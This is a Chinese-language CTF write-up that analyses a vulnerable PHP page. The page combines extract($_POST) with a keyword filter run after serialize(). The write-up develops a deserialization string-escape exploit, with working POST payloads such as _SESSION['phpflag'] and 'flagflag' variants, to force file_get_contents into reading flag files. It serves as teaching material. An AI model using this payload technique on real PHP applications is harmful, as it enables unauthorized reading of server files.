源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
$function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; }
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
分析
1 2 3 4 5 6 7
| $function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
|
- GET方式接收
f
传参并赋给 $function
- 定义了一个
filter()
函数,它接收一个字符串并将 php
、flag
、php5
、php4
、f1lg
字符替换为空并返回
1 2 3 4 5 6 7 8
| if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
|
if
语句清空 $_SESSION
- 定义两个
$_SESSION
的键值对,第二个是之前GET方式接收的 f
传参
extract()
函数将变量从数组中导入到当前的符号集中,可以用它覆盖 $_SESSION
1 2 3 4 5
| if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
|
- GET方式接收
img_path
并用base64、SHA1加密再赋给 $_SESSION['img']
;这里如果不传 img
的时候,会自动将 guest_img.png
base64加密并赋给 img
1
| $serialize_info = filter(serialize($_SESSION));
|
- 将
$_SESSION
数组序列化后的字符串用 filter()
方法过滤并赋给 $serialize_info
1 2 3 4 5 6 7 8
| if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
- 如果
?f=phpinfo
,就会执行 phpinfo()
- 如果
?f=show_img
,就会将之前序列化后的 $_SESSION
反序列化,再将他的 'img'
的值base64解密后读入一个字符串中,最后用 echo
输出
- 都能分析出来但没啥思路,看一下
phpinfo()
可以看到在页面底部加载了 d0g3_f1ag.php
,这可能就是flag,所以当 $_SESSION['img']='d0g3_f1ag.php'
的时候,可以拿到flag
- 当
?f=show_image
的时候,可以拿到flag,但是要绕过
知识点
- 字符逃逸
在反序列化的时候,当花括号后仍有字符串,会被忽略掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
$b = 'a:2:{s:4:"user";s:5:"guest";s:4:"flag";s:3:"asd";}qwe'; var_dump(unserialize($b)); ?>
|
- 在反序列化的过程中,如果前面写的
n
,就会向后面拿 n
个,写个例子感受一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
$b = 'a:2:{s:4:"user";s:13:"guest";s:1:"a";s:4:"flag";s:3:"asd";}'; var_dump(unserialize($b)); ?>
|
payload
- 想要拿到flag,
img
键对应的值就应该是 d0g3_f1ag.php
的base64编码后的值:ZDBnM19mMWFnLnBocA==
;他的序列化后为:
1 2 3 4 5 6
| <?php $a = 'd0g3_f1ag.php'; $b = base64_encode($a); $c['img'] = $b; echo serialize($c);
|
- 当不传
img
的时候,他会自动将 guest_img.png
加密后赋给 $_SESSION['img']
,此时他序列化后为:
1 2 3 4 5 6
| <?php $a = 'guest_img.png'; $b = base64_encode($a); $c['img'] = $b; echo serialize($c);
|
- 我们知道了传进去的一些字符串会被
filter()
过滤掉、反序列化时花括号后的会被忽略、固定的个数寻找机制,可以做一些有意思的事情:
如果 SESSION
的键是 phpflag
的时候,就会被过滤而造成字符空缺,使得双引号包含其后的7个字符,我们只需要在适当的位置补上双引号,就可以完美闭合。
不难看出,我们传POST先于给 img
键赋值:
我们可以构造这个字符数差,最终让花括号闭合掉 s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
,而真正的 img
对应的值,是我们用POST传入的 ZDBnM19mMWFnLnBocA==
。
构造如下:
$_SESSION['phpflag']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
原本我们不传POST的序列化结果为:a:1:{s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
我们传的值会被序列化成:
1 2 3 4 5
| <?php $a['phpflag'] = ';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; $a['img'] = 'Z3Vlc3RfaW1nLnBuZw=='; echo serialize($a);
|
- 第一个键值对:“
";s:48:
”=>“1
”
- 第二个键值对:“
img
”=>“ZDBnM19mMWFnLnBocA==
”
花括号后面的被忽略,将上述序列化后的字符串手动去掉 phpflag
,反序列化看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $a = 'a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}'; var_dump(unserialize($a)); $b = unserialize($a); echo base64_decode($b['img']);
|
可以看到,img
对应的已经成了 d0g3_f1ag.php
页面上没有回显,看一下源码
提示说flag在 /d0g3_fllllllag
里,那就将此字符串加密传入 _SESSION['phpflag']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
,得到flag
其他解法
上面是前几天写的,可能说的不是很清楚,这里先总结一下:
1 2 3 4 5 6 7 8
| extract($_POST);
$_SESSION['img'] = base64_encode('guest_img.png');
$serialize_info = filter(serialize($_SESSION));
$userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));
|
其实就是这么几句,让传一个POST;
它自动将错文件加密后赋值;
当我们GET传入相应值的时候他就对上述文件解密查看是否正确
那我们的思路就是借用 extract($_POST)
传入正确的加密后文件,再利用 filter()
过滤字符串的作用制造字符空缺,促成花括号闭合错误文件。
之前用的方法是过滤 phpflag
,实质就是过滤 7 个字符,那我们能不能过滤八个字符?
flagflag
写道这里,大概就知道 php
、flag
、php5
、php4
、f1lg
这五个是干嘛的了。凑字数。。。
这里凑八个字符数:
1 2 3 4 5 6
| <?php $a['flagflag'] = '";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; $a['img'] = 'Z3Vlc3RfaW1nLnBuZw=='; echo serialize($a);
|
过滤后:
第一个键值对:”";s:49:"
“=>”1
“
第二个键值对:”img
“=>”ZDBnM19mMWFnLnBocA==
“
手动去掉这八个字符看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $a = 'a:2:{s:8:"";s:49:"";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}'; $b = unserialize($a); var_dump($b); echo base64_decode($b['img']);
|
无数种解法
既然可以凑八个字符,可不可以凑11个?12个?
第八个是用引号凑得字符,那也可以写一堆引号嘛:
1 2 3 4 5 6
| <?php $a['flagflagflag'] = '""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; $a['img'] = 'Z3Vlc3RfaW1nLnBuZw=='; echo serialize($a);
|
手动去掉 flagflag
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $a = 'a:2:{s:12:"";s:53:"""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}'; $b = unserialize($a); var_dump($b); echo base64_decode($b['img']);
|
总结
其实说是无数种解法,实质就是一种(算了不解释了,废话太多,上面都有):
这道题和烨师傅的ezPop一样绕绕的,但也是很牛逼的题,值得再次复现!